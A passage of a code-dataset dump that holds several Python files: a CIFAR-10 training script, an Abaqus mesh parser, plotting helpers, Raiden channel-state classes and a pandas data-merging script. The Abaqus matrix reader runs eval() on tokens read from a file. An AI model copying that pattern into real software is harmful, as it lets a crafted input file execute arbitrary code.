predicted.eq(target).sum().item()\r\n\r\n progress_bar(batch_idx, len(train_loader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\r\n % (train_loss/(batch_idx+1), 100.*correct/total, correct, total))\r\n\r\n\r\ndef test(model, device, test_loader):\r\n model.eval()\r\n test_loss = 0\r\n correct = 0\r\n total = 0\r\n with torch.no_grad():\r\n for batch_idx, (data, target) in enumerate(test_loader):\r\n data, target = data.to(device), target.to(device)\r\n output = model(data)\r\n test_loss += criterion(output, target).item() # sum up batch loss\r\n pred = output.argmax(dim=1, keepdim=True) # get the index of the max log-probability\r\n total += target.size(0)\r\n correct += pred.eq(target.view_as(pred)).sum().item()\r\n\r\n test_loss /= len(test_loader.dataset)\r\n\r\n progress_bar(batch_idx, len(test_loader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\r\n % (test_loss/(batch_idx+1), 100.*correct/total, correct, total))\r\n\r\ndef main():\r\n # Training settings\r\n parser = argparse.ArgumentParser(description='PyTorch MNIST Example')\r\n parser.add_argument('--batch-size', type=int, default=64, metavar='N',\r\n help='input batch size for training (default: 64)')\r\n parser.add_argument('--test-batch-size', type=int, default=1000, metavar='N',\r\n help='input batch size for testing (default: 1000)')\r\n parser.add_argument('--epochs', type=int, default=200, metavar='N',\r\n help='number of epochs to train (default: 14)')\r\n parser.add_argument('--lr', type=float, default=0.1, metavar='LR',\r\n help='learning rate (default: 1.0)')\r\n parser.add_argument('--gamma', type=float, default=0.7, metavar='M',\r\n help='Learning rate step gamma (default: 0.7)')\r\n parser.add_argument('--no-cuda', action='store_true', default=False,\r\n help='disables CUDA training')\r\n parser.add_argument('--seed', type=int, default=1, metavar='S',\r\n help='random seed (default: 1)')\r\n parser.add_argument('--log-interval', type=int, default=100, metavar='N',\r\n help='how many batches to wait before logging training status')\r\n parser.add_argument('--momentum', type=float, default=0.5, metavar='M',\r\n help='SGD momentum (default: 0.5)')\r\n parser.add_argument('--save-model', action='store_true', default=False,\r\n help='For Saving the current Model')\r\n args = parser.parse_args()\r\n\r\n use_cuda = not args.no_cuda and torch.cuda.is_available()\r\n torch.manual_seed(args.seed)\r\n device = torch.device(\"cuda\" if use_cuda else \"cpu\")\r\n kwargs = {'num_workers': 1, 'pin_memory': True} if use_cuda else {}\r\n\r\n # Data\r\n print('==> Preparing data..')\r\n transform_train = transforms.Compose([\r\n transforms.RandomCrop(32, padding=4),\r\n transforms.RandomHorizontalFlip(),\r\n transforms.ToTensor(),\r\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\r\n ])\r\n\r\n transform_test = transforms.Compose([\r\n transforms.ToTensor(),\r\n transforms.Normalize((0.4914, 0.4822, 0.4465), (0.2023, 0.1994, 0.2010)),\r\n ])\r\n\r\n trainset = torchvision.datasets.CIFAR10(\r\n root='./data', train=True, download=True, transform=transform_train)\r\n train_loader = torch.utils.data.DataLoader(\r\n trainset, batch_size=128, shuffle=True, num_workers=2)\r\n\r\n testset = torchvision.datasets.CIFAR10(\r\n root='./data', train=False, download=True, transform=transform_test)\r\n test_loader = torch.utils.data.DataLoader(\r\n testset, batch_size=100, shuffle=False, num_workers=2)\r\n\r\n classes = ('plane', 'car', 'bird', 'cat', 'deer',\r\n 'dog', 'frog', 'horse', 'ship', 'truck')\r\n \r\n print('==> Building model..')\r\n model = ResNet18()\r\n model = model.to(device)\r\n \r\n #optimizer = optim.Adadelta(model.parameters(), lr=args.lr)\r\n optimizer = optim.SGD(model.parameters(), lr=args.lr,\r\n momentum=0.9, weight_decay=5e-4)\r\n #scheduler = StepLR(optimizer, step_size=1, gamma=args.gamma)\r\n\r\n for epoch in range(1, args.epochs + 1):\r\n train(args, model, device, train_loader, optimizer, epoch)\r\n test(model, device, test_loader)\r\n #scheduler.step()\r\n\r\n if args.save_model:\r\n torch.save(model.state_dict(), \"mnist_cnn.pt\")\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","repo_name":"GustavKlint/GusNNsLab","sub_path":"CIFARMainDriver.py","file_name":"CIFARMainDriver.py","file_ext":"py","file_size_in_byte":7086,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"16036436283","text":"#!/usr/bin/env python3\r\n\r\nimport sys\r\nimport re\r\n\r\nimport numpy as np\r\nfrom scipy.sparse import coo_matrix\r\nfrom .dataset import *\r\n\r\n\r\n__all__ = ['AbaqusInputFile', 'read_matrix_coordinate']\r\n\r\n\r\nclass AbaqusInputFile:\r\n \"\"\"Interpreter of abaqus input file.\r\n \r\n This class can only process inp files with only one part at present. Users\r\n may use the \"Create Mesh Part\" function to generate the mesh into a new \r\n model in the Abaqus CAE to generate this type of inp file. The nodes and\r\n elements of the model can then be extracted by using this class and \r\n elements of different types can be seperated automatically.\r\n \r\n Parameters\r\n ----------\r\n stream: stream\r\n The input inp file stream.\r\n \r\n \"\"\"\r\n \r\n \r\n def __init__(self, stream):\r\n self._nodes = []\r\n self._element_types = []\r\n self._elements = []\r\n\r\n self._identifier_node = re.compile('\\*node(?!\\s*\\w)',re.IGNORECASE)\r\n self._identifier_element = re.compile('\\*element(?!\\s*\\w)',re.IGNORECASE)\r\n self._identifier_comment = re.compile('\\*\\*',re.IGNORECASE)\r\n self._identifier = re.compile('\\*\\w',re.IGNORECASE)\r\n self._pattern_type = re.compile('(?<=type=)\\w+',re.IGNORECASE)\r\n self._pattern_digit = re.compile('-?\\d+(\\.\\d*)?(e-?\\d+)?',re.IGNORECASE)\r\n self._pattern_integer = re.compile('\\d+',re.IGNORECASE)\r\n\r\n self._read(stream)\r\n\r\n self._nodes = np.array(self._nodes, dtype=float)\r\n self._elements = [np.array(i, dtype=int)-1 for i in self._elements]\r\n\r\n def _read(self, stream):\r\n status = 'unknown'\r\n line_number = 0\r\n for line in stream:\r\n line_number += 1\r\n # print(line_number, line,sep='\\t', end='')\r\n if re.match(self._identifier_node,line):\r\n status = 'node'\r\n continue\r\n if re.match(self._identifier_element,line):\r\n status = 'element'\r\n self._process_element_identifier(line)\r\n continue\r\n if re.match(self._identifier,line):\r\n status = 'unknown'\r\n continue\r\n if re.match(self._identifier_comment,line):\r\n continue\r\n\r\n try:\r\n self._process_line(line, status)\r\n except Exception:\r\n sys.displayhook(sys.exc_info())\r\n sys.stderr.write('Error when processing line {line_number}\\n'\r\n .format(line_number=line_number))\r\n sys.stderr.write(line+'\\n')\r\n res = input('Continue?(Y/N)')\r\n if res.upper() == 'Y':\r\n continue\r\n else:\r\n raise\r\n\r\n def _process_element_identifier(self,line):\r\n res = re.search(self._pattern_type,line)\r\n if res is None:\r\n element_type = 'Unknown'\r\n else:\r\n element_type = res.group()\r\n self._element_types.append(element_type)\r\n self._elements.append([])\r\n\r\n\r\n def _process_line(self, line, status):\r\n if status == 'node':\r\n self._process_node(line)\r\n elif status == 'element':\r\n self._process_element(line)\r\n\r\n def _process_node(self,line):\r\n pattern_digit = self._pattern_digit\r\n # it seems re.findall do not work with ()\r\n coordinate = [i.group() for i in re.finditer(pattern_digit,line)][1:]\r\n assert len(coordinate) == 3, \"Number of coordinates is not 3!\"\r\n self.nodes.append([float(i) for i in coordinate])\r\n\r\n def _process_element(self,line):\r\n pattern_integer = self._pattern_integer\r\n nodeID = re.findall(pattern_integer,line)[1:]\r\n self.elements[-1].append([int(i) for i in nodeID])\r\n\r\n def get_nodes(self):\r\n \"\"\"Return the nodes of the model.\"\"\"\r\n return self._nodes\r\n\r\n def get_elements(self):\r\n \"\"\"Return the elements of the model.\r\n \r\n \r\n A list with the node indexes of the mesh returned. The node indexes are\r\n stored in numpy arrays and the index of nodes starts from 0.\r\n \r\n Returns\r\n -------\r\n elements: list\r\n The nodes of the elements. \r\n \"\"\"\r\n # index of nodes starts from 0\r\n return self._elements\r\n\r\n def get_element_types(self):\r\n \"\"\"Return the element types of the model.\r\n \r\n A list containing the names of the mesh elements is returned.\r\n \r\n Returns\r\n -------\r\n element_types: list\r\n The types of the elements.\r\n \"\"\"\r\n # index of nodes starts from 0\r\n return self._element_types\r\n\r\n @property\r\n def element_types(self):\r\n \"\"\"List of the element types.\"\"\"\r\n return self._element_types\r\n\r\n @property\r\n def elements(self):\r\n \"\"\"List of element nodes\"\"\"\r\n return self._elements\r\n @property\r\n def nodes(self):\r\n \"\"\"List of nodes\"\"\"\r\n return self._nodes\r\n \r\n def to_dataset(self, title=''):\r\n \"\"\"Convert the representation of nodes and elements to `Dataset`.\"\"\"\r\n points = [Point(i) for i in self._nodes]\r\n ds = DataSet(points, title=title)\r\n cells = []\r\n for i, elements in enumerate(self._elements[:2]):\r\n et = self._element_types[i]\r\n if et == 'S4R' or et == 'S4':\r\n cell_type = 9\r\n elif et == 'B31':\r\n cell_type = 3\r\n else:\r\n cell_type = 0\r\n cells = [Cell(p, cell_type) for p in elements]\r\n ds.cells.extend(cells)\r\n return ds\r\n \r\n \r\n \r\n\r\ndef read_matrix_coordinate(filename, M=None, N=None):\r\n \"\"\"Read sparse matrix from abaqus output.\r\n \r\n Each column of the file contains three numbers, which are the index of row,\r\n the index of column and the element in the corresponding position. The\r\n indexes begin form 1 and the dimensions of the matrix can be defined by\r\n extra arguments M and N.\r\n \r\n Parameters\r\n ----------\r\n filename: string\r\n Name of the file to read. (usually ends with .mtx for abaqus output)\r\n M: int\r\n The number of rows of the sparse matrix.\r\n N: int\r\n The number of columns of the sparse matrix.\r\n \r\n Returns\r\n -------\r\n mat: sparse.coo_matrix\r\n A sparse matrix object. \r\n \"\"\"\r\n\r\n file = open(filename)\r\n data = []\r\n i, j = [], []\r\n for line in file:\r\n ix_i, ix_j, data_ij = [eval(i) for i in line.split()]\r\n data.append(data_ij)\r\n i.append(ix_i-1)\r\n j.append(ix_j-1)\r\n M = max(i)+1 if M is None else M\r\n N = max(j)+1 if N is None else N\r\n mat = coo_matrix((data, (i, j)), shape=(M, N))\r\n return mat\r\n\r\n\r\nif __name__ == '__main__':\r\n with open('Job-1.inp') as file:\r\n ip=AbaqusInputFile(file)\r\n with open('test-1.vtk', 'w') as file:\r\n ds = ip.to_dataset()\r\n file.write(dumpvtk(ds))\r\n \r\n\r\n","repo_name":"Zhen-Ni/FEM","sub_path":"fem/abaqus.py","file_name":"abaqus.py","file_ext":"py","file_size_in_byte":7080,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"53"} +{"seq_id":"70782654567","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# File : Quadrocopter_plot.py\n# Author : Duy Anh Pham \n# Date : 29.10.2019\n# Last Modified By: Duy Anh Pham \n\nimport matplotlib.pyplot as plt\nfrom matplotlib.ticker import MaxNLocator\n\n\ndef Plot_init_figure_monitor(interactive=True):\n # You probably won't need this if you're embedding things in a tkinter plot...\n if interactive:\n plt.ion() # interactive mode\n return plt.figure()\n\n\ndef Plot_figure_update(fig):\n # fig.canvas.draw()\n fig.canvas.update()\n fig.canvas.flush_events()\n\n\ndef Plot_set_axis(plot, xlim, ylim, xlabel, ylabel, title, xticks_whole_number=False):\n plot.set_ylim(ylim)\n plot.set_ylabel(ylabel)\n plot.set_xlim(xlim)\n plot.set_xlabel(xlabel)\n if xticks_whole_number:\n plot.xaxis.set_major_locator(\n MaxNLocator(integer=True)) # set xticks interger only\n plot.set_title(title)\n\n# line format '[marker][line][color]'\n\n\ndef Plot_add_line(plot, x_array, y_array, line_format):\n # Returns a tuple of line objects, thus the comma\n return plot.plot(x_array, y_array, line_format)\n\n\ndef Plot_add_text(plot, box_align_x, box_align_y, text_str, text_align_horizontal, text_align_vertical):\n return plot.text(box_align_x,\n box_align_y,\n text_str,\n horizontalalignment=text_align_horizontal,\n verticalalignment=text_align_vertical,\n transform=plot.transAxes)\n","repo_name":"duyanh-y4n/Pi_SENSORIK_W19","sub_path":"Quadrocopter_plot.py","file_name":"Quadrocopter_plot.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"} +{"seq_id":"27337997944","text":"# pylint: disable=too-few-public-methods,too-many-arguments,too-many-instance-attributes\nimport random\nfrom collections import defaultdict\nfrom dataclasses import dataclass, field\nfrom random import Random\nfrom typing import TYPE_CHECKING, Tuple\n\nimport networkx\n\nfrom raiden.constants import (\n EMPTY_LOCK_HASH,\n EMPTY_MERKLE_ROOT,\n EMPTY_SECRETHASH,\n UINT64_MAX,\n UINT256_MAX,\n)\nfrom raiden.encoding import messages\nfrom raiden.encoding.format import buffer_for\nfrom raiden.transfer.architecture import (\n BalanceProofSignedState,\n BalanceProofUnsignedState,\n ContractSendEvent,\n SendMessageEvent,\n State,\n TransferTask,\n)\nfrom raiden.transfer.identifiers import CanonicalIdentifier, QueueIdentifier\nfrom raiden.utils import lpex, pex, sha3\nfrom raiden.utils.typing import (\n Address,\n Any,\n Balance,\n BlockExpiration,\n BlockHash,\n BlockNumber,\n BlockTimeout,\n ChainID,\n ChannelID,\n Dict,\n EncodedData,\n FeeAmount,\n Keccak256,\n List,\n LockHash,\n Locksroot,\n MessageID,\n Optional,\n PaymentNetworkAddress,\n PaymentWithFeeAmount,\n Secret,\n SecretHash,\n T_Address,\n T_BlockHash,\n T_BlockNumber,\n T_ChainID,\n T_ChannelID,\n T_Keccak256,\n T_PaymentWithFeeAmount,\n T_Secret,\n T_TokenAmount,\n TokenAddress,\n TokenAmount,\n TokenNetworkAddress,\n Union,\n)\n\nif TYPE_CHECKING:\n # pylint: disable=unused-import\n from messages import EnvelopeMessage\n\n\nQueueIdsToQueues = Dict[QueueIdentifier, List[SendMessageEvent]]\n\nCHANNEL_STATE_CLOSED = \"closed\"\nCHANNEL_STATE_CLOSING = \"waiting_for_close\"\nCHANNEL_STATE_OPENED = \"opened\"\nCHANNEL_STATE_SETTLED = \"settled\"\nCHANNEL_STATE_SETTLING = \"waiting_for_settle\"\nCHANNEL_STATE_UNUSABLE = \"channel_unusable\"\n\nCHANNEL_ALL_VALID_STATES = (\n CHANNEL_STATE_CLOSED,\n CHANNEL_STATE_CLOSING,\n CHANNEL_STATE_OPENED,\n CHANNEL_STATE_SETTLED,\n CHANNEL_STATE_SETTLING,\n CHANNEL_STATE_UNUSABLE,\n)\n\nCHANNEL_STATES_PRIOR_TO_CLOSED = (CHANNEL_STATE_OPENED, CHANNEL_STATE_CLOSING)\n\nCHANNEL_AFTER_CLOSE_STATES = (CHANNEL_STATE_CLOSED, CHANNEL_STATE_SETTLING, CHANNEL_STATE_SETTLED)\n\nNODE_NETWORK_UNKNOWN = \"unknown\"\nNODE_NETWORK_UNREACHABLE = \"unreachable\"\nNODE_NETWORK_REACHABLE = \"reachable\"\n\n\ndef balanceproof_from_envelope(envelope_message: \"EnvelopeMessage\",) -> \"BalanceProofSignedState\":\n return BalanceProofSignedState(\n nonce=envelope_message.nonce,\n transferred_amount=envelope_message.transferred_amount,\n locked_amount=envelope_message.locked_amount,\n locksroot=envelope_message.locksroot,\n message_hash=envelope_message.message_hash,\n signature=envelope_message.signature,\n sender=envelope_message.sender,\n canonical_identifier=CanonicalIdentifier(\n chain_identifier=envelope_message.chain_id,\n token_network_address=envelope_message.token_network_address,\n channel_identifier=envelope_message.channel_identifier,\n ),\n )\n\n\ndef make_empty_merkle_tree() -> \"MerkleTreeState\":\n return MerkleTreeState(\n [[], [Keccak256(EMPTY_MERKLE_ROOT)]] # the leaves are empty # the root is the constant 0\n )\n\n\ndef message_identifier_from_prng(prng: Random) -> MessageID:\n return MessageID(prng.randint(0, UINT64_MAX))\n\n\ndef to_comparable_graph(network: networkx.Graph) -> List[List[Any]]:\n return sorted(sorted(edge) for edge in network.edges())\n\n\n@dataclass\nclass PaymentMappingState(State):\n \"\"\" Global map from secrethash to a transfer task.\n This mapping is used to quickly dispatch state changes by secrethash, for\n those that dont have a balance proof, e.g. SecretReveal.\n This mapping forces one task per secrethash, assuming that secrethash collision\n is unlikely. Features like token swaps, that span multiple networks, must\n be encapsulated in a single task to work with this structure.\n \"\"\"\n\n # Because of retries, there may be multiple transfers for the same payment,\n # IOW there may be more than one task for the same transfer identifier. For\n # this reason the mapping uses the secrethash as key.\n #\n # Because token swaps span multiple token networks, the state of the\n # payment task is kept in this mapping, instead of inside an arbitrary\n # token network.\n secrethashes_to_task: Dict[SecretHash, TransferTask] = field(repr=False, default_factory=dict)\n\n\n# This is necessary for the routing only, maybe it should be transient state\n# outside of the state tree.\n@dataclass(repr=False)\nclass TokenNetworkGraphState(State):\n \"\"\" Stores the existing channels in the channel manager contract, used for\n route finding.\n \"\"\"\n\n token_network_address: TokenNetworkAddress\n network: networkx.Graph = field(repr=False, default_factory=networkx.Graph)\n channel_identifier_to_participants: Dict[ChannelID, Tuple[Address, Address]] = field(\n repr=False, default_factory=dict\n )\n\n def __repr__(self):\n # pylint: disable=no-member\n return \"TokenNetworkGraphState(num_edges:{})\".format(len(self.network.edges))\n\n\n@dataclass\nclass RouteState(State):\n \"\"\" A possible route provided by a routing service.\n\n Args:\n node_address: The address of the next_hop.\n channel_identifier: The channel identifier.\n \"\"\"\n\n node_address: Address\n channel_identifier: ChannelID\n\n def __post_init__(self) -> None:\n if not isinstance(self.node_address, T_Address):\n raise ValueError(\"node_address must be an address instance\")\n\n\n@dataclass\nclass HashTimeLockState(State):\n \"\"\" Represents a hash time lock. \"\"\"\n\n amount: PaymentWithFeeAmount\n expiration: BlockExpiration\n secrethash: SecretHash\n encoded: EncodedData = field(init=False, repr=False)\n lockhash: LockHash = field(repr=False, default=EMPTY_LOCK_HASH)\n\n def __post_init__(self) -> None:\n if not isinstance(self.amount, T_PaymentWithFeeAmount):\n raise ValueError(\"amount must be a PaymentWithFeeAmount instance\")\n\n if not isinstance(self.expiration, T_BlockNumber):\n raise ValueError(\"expiration must be a BlockNumber instance\")\n\n if not isinstance(self.secrethash, T_Keccak256):\n raise ValueError(\"secrethash must be a Keccak256 instance\")\n\n packed = messages.Lock(buffer_for(messages.Lock))\n # pylint: disable=assigning-non-slot\n packed.amount = self.amount\n packed.expiration = self.expiration\n packed.secrethash = self.secrethash\n\n self.encoded = EncodedData(packed.data)\n\n self.lockhash = LockHash(sha3(self.encoded))\n\n\n@dataclass\nclass UnlockPartialProofState(State):\n \"\"\" Stores the lock along with its unlocking secret. \"\"\"\n\n lock: HashTimeLockState\n secret: Secret = field(repr=False)\n amount: PaymentWithFeeAmount = field(repr=False, default=PaymentWithFeeAmount(0))\n expiration: BlockExpiration = field(repr=False, default=BlockExpiration(0))\n secrethash: SecretHash = field(repr=False, default=EMPTY_SECRETHASH)\n encoded: EncodedData = field(init=False, repr=False)\n lockhash: LockHash = field(repr=False, default=EMPTY_LOCK_HASH)\n\n def __post_init__(self) -> None:\n if not isinstance(self.lock, HashTimeLockState):\n raise ValueError(\"lock must be a HashTimeLockState instance\")\n\n if not isinstance(self.secret, T_Secret):\n raise ValueError(\"secret must be a secret instance\")\n\n self.amount = self.lock.amount\n self.expiration = self.lock.expiration\n self.secrethash = self.lock.secrethash\n self.encoded = self.lock.encoded\n self.lockhash = self.lock.lockhash\n\n\n@dataclass\nclass UnlockProofState(State):\n \"\"\" An unlock proof for a given lock. \"\"\"\n\n merkle_proof: List[Keccak256]\n lock_encoded: bytes\n secret: Secret = field(repr=False)\n\n def __post_init__(self):\n if not isinstance(self.secret, T_Secret):\n raise ValueError(\"secret must be a secret instance\")\n\n\n@dataclass\nclass TransactionExecutionStatus(State):\n \"\"\" Represents the status of a transaction. \"\"\"\n\n SUCCESS = \"success\"\n FAILURE = \"failure\"\n VALID_RESULT_VALUES = (SUCCESS, FAILURE)\n\n started_block_number: Optional[BlockNumber] = None\n finished_block_number: Optional[BlockNumber] = None\n result: Optional[str] = None\n\n def __post_init__(self) -> None:\n is_valid_start = self.started_block_number is None or isinstance(\n self.started_block_number, T_BlockNumber\n )\n is_valid_finish = self.finished_block_number is None or isinstance(\n self.finished_block_number, T_BlockNumber\n )\n is_valid_result = self.result is None or self.result in self.VALID_RESULT_VALUES\n is_valid_result = self.result is None or self.result in self.VALID_RESULT_VALUES\n\n if not is_valid_start:\n raise ValueError(\"started_block_number must be None or a block_number\")\n\n if not is_valid_finish:\n raise ValueError(\"finished_block_number must be None or a block_number\")\n\n if not is_valid_result:\n raise ValueError(f\"result must be one of '{self.SUCCESS}', '{self.FAILURE}' or 'None'\")\n\n\n@dataclass\nclass MerkleTreeState(State):\n layers: List[List[Keccak256]]\n\n\n@dataclass(order=True)\nclass TransactionChannelNewBalance(State):\n participant_address: Address\n contract_balance: TokenAmount\n deposit_block_number: BlockNumber\n\n def __post_init__(self) -> None:\n if not isinstance(self.participant_address, T_Address):\n raise ValueError(\"participant_address must be of type address\")\n\n if not isinstance(self.contract_balance, T_TokenAmount):\n raise ValueError(\"contract_balance must be of type token_amount\")\n\n if not isinstance(self.deposit_block_number, T_BlockNumber):\n raise ValueError(\"deposit_block_number must be of type block_number\")\n\n\n@dataclass(order=True)\nclass TransactionOrder(State):\n block_number: BlockNumber\n transaction: TransactionChannelNewBalance\n\n\n@dataclass\nclass NettingChannelEndState(State):\n \"\"\" The state of one of the nodes in a two party netting channel. \"\"\"\n\n address: Address\n contract_balance: Balance\n\n #: Locks which have been introduced with a locked transfer, however the\n #: secret is not known yet\n secrethashes_to_lockedlocks: Dict[SecretHash, HashTimeLockState] = field(\n repr=False, default_factory=dict\n )\n #: Locks for which the secret is known, but the partner has not sent an\n #: unlock off chain yet.\n secrethashes_to_unlockedlocks: Dict[SecretHash, UnlockPartialProofState] = field(\n repr=False, default_factory=dict\n )\n #: Locks for which the secret is known, the partner has not sent an\n #: unlocked off chain yet, and the secret has been registered onchain\n #: before the lock has expired.\n secrethashes_to_onchain_unlockedlocks: Dict[SecretHash, UnlockPartialProofState] = field(\n repr=False, default_factory=dict\n )\n merkletree: MerkleTreeState = field(repr=False, default_factory=make_empty_merkle_tree)\n balance_proof: Optional[Union[BalanceProofSignedState, BalanceProofUnsignedState]] = None\n onchain_locksroot: Locksroot = EMPTY_MERKLE_ROOT\n\n def __post_init__(self) -> None:\n if not isinstance(self.address, T_Address):\n raise ValueError(\"address must be an address instance\")\n\n if not isinstance(self.contract_balance, T_TokenAmount):\n raise ValueError(\"balance must be a token_amount isinstance\")\n\n\n@dataclass\nclass NettingChannelState(State):\n \"\"\" The state of a netting channel. \"\"\"\n\n canonical_identifier: CanonicalIdentifier\n token_address: TokenAddress = field(repr=False)\n payment_network_address: PaymentNetworkAddress = field(repr=False)\n reveal_timeout: BlockTimeout = field(repr=False)\n settle_timeout: BlockTimeout = field(repr=False)\n mediation_fee: FeeAmount = field(repr=False)\n our_state: NettingChannelEndState = field(repr=False)\n partner_state: NettingChannelEndState = field(repr=False)\n open_transaction: TransactionExecutionStatus\n close_transaction: Optional[TransactionExecutionStatus] = None\n settle_transaction: Optional[TransactionExecutionStatus] = None\n update_transaction: Optional[TransactionExecutionStatus] = None\n deposit_transaction_queue: List[TransactionOrder] = field(repr=False, default_factory=list)\n\n def __post_init__(self) -> None:\n if self.reveal_timeout >= self.settle_timeout:\n raise ValueError(\"reveal_timeout must be smaller than settle_timeout\")\n\n if not isinstance(self.reveal_timeout, int) or self.reveal_timeout <= 0:\n raise ValueError(\"reveal_timeout must be a positive integer\")\n\n if not isinstance(self.settle_timeout, int) or self.settle_timeout <= 0:\n raise ValueError(\"settle_timeout must be a positive integer\")\n\n if not isinstance(self.open_transaction, TransactionExecutionStatus):\n raise ValueError(\"open_transaction must be a TransactionExecutionStatus instance\")\n\n if self.open_transaction.result != TransactionExecutionStatus.SUCCESS:\n raise ValueError(\n \"Cannot create a NettingChannelState with a non successfull open_transaction\"\n )\n\n if not isinstance(self.canonical_identifier.channel_identifier, T_ChannelID):\n raise ValueError(\"channel identifier must be of type T_ChannelID\")\n\n if (\n self.canonical_identifier.channel_identifier < 0\n or self.canonical_identifier.channel_identifier > UINT256_MAX\n ):\n raise ValueError(\"channel identifier should be a uint256\")\n\n valid_close_transaction = self.close_transaction is None or isinstance(\n self.close_transaction, TransactionExecutionStatus\n )\n if not valid_close_transaction:\n raise ValueError(\"close_transaction must be a TransactionExecutionStatus instance\")\n\n valid_settle_transaction = self.settle_transaction is None or isinstance(\n self.settle_transaction, TransactionExecutionStatus\n )\n if not valid_settle_transaction:\n raise ValueError(\n \"settle_transaction must be a TransactionExecutionStatus instance or None\"\n )\n\n @property\n def identifier(self) -> ChannelID:\n return self.canonical_identifier.channel_identifier\n\n @property\n def token_network_address(self) -> TokenNetworkAddress:\n return self.canonical_identifier.token_network_address\n\n @property\n def chain_id(self) -> ChainID:\n return self.canonical_identifier.chain_identifier\n\n @property\n def our_total_deposit(self) -> Balance:\n # pylint: disable=E1101\n return self.our_state.contract_balance\n\n @property\n def partner_total_deposit(self) -> Balance:\n # pylint: disable=E1101\n return self.partner_state.contract_balance\n\n\n@dataclass\nclass TokenNetworkState(State):\n \"\"\" Corresponds to a token network smart contract. \"\"\"\n\n address: TokenNetworkAddress\n token_address: TokenAddress\n network_graph: TokenNetworkGraphState = field(repr=False)\n channelidentifiers_to_channels: Dict[ChannelID, NettingChannelState] = field(\n repr=False, default_factory=dict\n )\n partneraddresses_to_channelidentifiers: Dict[Address, List[ChannelID]] = field(\n repr=False, default_factory=lambda: defaultdict(list)\n )\n\n def __post_init__(self) -> None:\n if not isinstance(self.address, T_Address):\n raise ValueError(\"address must be an address instance\")\n\n if not isinstance(self.token_address, T_Address):\n raise ValueError(\"token_address must be an address instance\")\n\n self.partneraddresses_to_channelidentifiers = defaultdict(\n list, self.partneraddresses_to_channelidentifiers\n )\n\n\n@dataclass\nclass PaymentNetworkState(State):\n \"\"\" Corresponds to a registry smart contract. \"\"\"\n\n address: PaymentNetworkAddress\n token_network_list: List[TokenNetworkState]\n tokennetworkaddresses_to_tokennetworks: Dict[TokenNetworkAddress, TokenNetworkState] = field(\n repr=False, default_factory=dict\n )\n tokenaddresses_to_tokennetworkaddresses: Dict[TokenAddress, TokenNetworkAddress] = field(\n repr=False, default_factory=dict\n )\n\n def __post_init__(self) -> None:\n if not isinstance(self.address, T_Address):\n raise ValueError(\"address must be an address instance\")\n\n if not self.tokennetworkaddresses_to_tokennetworks:\n self.tokennetworkaddresses_to_tokennetworks: Dict[\n TokenNetworkAddress, TokenNetworkState\n ] = {token_network.address: token_network for token_network in self.token_network_list}\n if not self.tokenaddresses_to_tokennetworkaddresses:\n self.tokenaddresses_to_tokennetworkaddresses: Dict[\n TokenAddress, TokenNetworkAddress\n ] = {\n token_network.token_address: token_network.address\n for token_network in self.token_network_list\n }\n\n\n@dataclass(repr=False)\nclass ChainState(State):\n \"\"\" Umbrella object that stores the per blockchain state.\n For each registry smart contract there must be a payment network. Within the\n payment network the existing token networks and channels are registered.\n\n TODO: Split the node specific attributes to a \"NodeState\" class\n \"\"\"\n\n pseudo_random_generator: random.Random = field(compare=False)\n block_number: BlockNumber\n block_hash: BlockHash\n our_address: Address\n chain_id: ChainID\n identifiers_to_paymentnetworks: Dict[PaymentNetworkAddress, PaymentNetworkState] = field(\n repr=False, default_factory=dict\n )\n nodeaddresses_to_networkstates: Dict[Address, str] = field(repr=False, default_factory=dict)\n payment_mapping: PaymentMappingState = field(repr=False, default_factory=PaymentMappingState)\n pending_transactions: List[ContractSendEvent] = field(repr=False, default_factory=list)\n queueids_to_queues: QueueIdsToQueues = field(repr=False, default_factory=dict)\n last_transport_authdata: Optional[str] = field(repr=False, default=None)\n tokennetworkaddresses_to_paymentnetworkaddresses: Dict[\n TokenNetworkAddress, PaymentNetworkAddress\n ] = field(repr=False, default_factory=dict)\n\n def __post_init__(self) -> None:\n if not isinstance(self.block_number, T_BlockNumber):\n raise ValueError(\"block_number must be of BlockNumber type\")\n\n if not isinstance(self.block_hash, T_BlockHash):\n raise ValueError(\"block_hash must be of BlockHash type\")\n\n if not isinstance(self.chain_id, T_ChainID):\n raise ValueError(\"chain_id must be of ChainID type\")\n\n def __repr__(self):\n return (\n \"ChainState(block_number={} block_hash={} networks={} \" \"qty_transfers={} chain_id={})\"\n ).format(\n self.block_number,\n pex(self.block_hash),\n # pylint: disable=E1101\n lpex(self.identifiers_to_paymentnetworks.keys()),\n # pylint: disable=E1101\n len(self.payment_mapping.secrethashes_to_task),\n self.chain_id,\n )\n","repo_name":"hoonkii/raiden","sub_path":"raiden/transfer/state.py","file_name":"state.py","file_ext":"py","file_size_in_byte":19320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"53"} +{"seq_id":"36725288252","text":"import pandas as pd\nimport numpy as np\nimport os\nimport sys\nimport json\nimport time\nimport gc\ngc.enable()\n\ndataPath = '../../../data/avito-demand-prediction'\n\nif __name__ == \"__main__\":\n ss = time.time()\n df_lst = []\n for i in range(15):\n train_active = pd.read_hdf(f'{dataPath}/train_active_h5/train_active_basic_Data_{i}.h5', key='/Raw', mode='r')\n print(f'train_active_{i}.h5 loaded! {time.time()-ss:.2f} s')\n df_lst.append(train_active)\n del train_active\n gc.collect()\n\n for i in range(13):\n test_active = pd.read_hdf(f'{dataPath}/test_active_h5/test_active_basic_Data_{i}.h5', key='/Raw', mode='r')\n print(f'test_active_{i}.h5 loaded! {time.time()-ss:.2f} s')\n df_lst.append(test_active)\n del test_active\n gc.collect()\n\n df_active = pd.concat(df_lst, ignore_index=True)\n print(f'Active data combined! {time.time()-ss:.2f} s')\n\n del df_lst\n gc.collect()\n\n train_basic = pd.read_hdf(f'{dataPath}/basicData.h5', key='trainRaw', mode='r')\n test_basic = pd.read_hdf(f'{dataPath}/basicData.h5', key='testRaw', mode='r')\n\n df_all = pd.concat([df_active, train_basic, test_basic], ignore_index=True)\n print(f'Combine all Data! {time.time()-ss:.2f} s')\n\n 